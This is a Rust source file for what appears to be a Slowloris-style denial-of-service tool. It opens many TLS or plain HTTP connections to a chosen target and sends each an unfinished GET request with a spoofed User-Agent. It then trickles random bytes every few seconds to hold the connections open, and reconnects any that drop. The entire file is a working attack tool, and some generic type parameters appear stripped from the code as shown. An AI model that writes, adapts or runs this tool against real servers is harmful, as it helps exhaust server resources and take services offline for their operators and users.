/* Copyright (c) 2021 trivernis See LICENSE for more information */ use native_tls::TlsConnector; use rand::Rng; use scheduled_thread_pool::ScheduledThreadPool; use std::io::Write; use std::net::TcpStream; use std::sync::Arc; use std::thread; use std::time::Duration; use structopt::StructOpt; #[derive(StructOpt, Debug)] #[structopt()] struct Opt { /// The target address with port #[structopt()] pub address: String, // The port to connect to #[structopt(short, long, default_value = "443")] pub port: u32, /// If the connection should use plain http #[structopt(short, long)] pub http: bool, /// Number of connections #[structopt(short = "n", long, default_value = "200")] pub count: usize, } fn main() { let opts: Opt = Opt::from_args(); let pool = Arc::new(scheduled_thread_pool::ScheduledThreadPool::new( num_cpus::get(), )); for i in 0..opts.count { let address = opts.address.clone(); let port = opts.port; let https = !opts.http; keep_alive(Arc::clone(&pool), i, address, port, https); } thread::park(); } /// Sends Keep-Alive data to the server fn keep_alive(pool: Arc, i: usize, address: String, port: u32, https: bool) { let mut rng = rand::thread_rng(); if let Some(mut stream) = create_connection(&*address, port, https) { println!("Connection {} established.", i); let pool_clone = Arc::clone(&pool); pool.execute_at_fixed_rate( Duration::from_secs(rng.gen_range(5..10)), Duration::from_secs(rng.gen_range(5..10)), move || { println!(r#"Sending "Keep-Alive-Header" for connection {}..."#, i); if let Err(_) = stream.write_all(&[rand::random::()]) { let address = address.clone(); let pool_clone2 = Arc::clone(&pool_clone); println!("Connection {} lost. Reestablishing...", i); pool_clone.execute(move || { keep_alive(pool_clone2, i, address, port, https); }); } }, ); } } /// Creates a single HTTP/S connection fn create_connection( address: &str, port: u32, https: bool, ) -> Option> { let tcp_stream = TcpStream::connect(format!("{}:{}", address, port)) .map_err(|e| { eprint!("Failed to establish connection: {}", e); e }) .ok()?; let mut stream: Box = if https { let connector = TlsConnector::new().ok()?; let tls_stream = connector.connect(&*address.clone(), tcp_stream).ok()?; Box::new(tls_stream) } else { Box::new(tcp_stream) }; stream .write_all( format!( "GET / HTTP/1.0\r\nUser-Agent: {}\r\nX-a: ", fakeit::user_agent::random_platform() ) .as_bytes(), ) .ok()?; Some(stream) }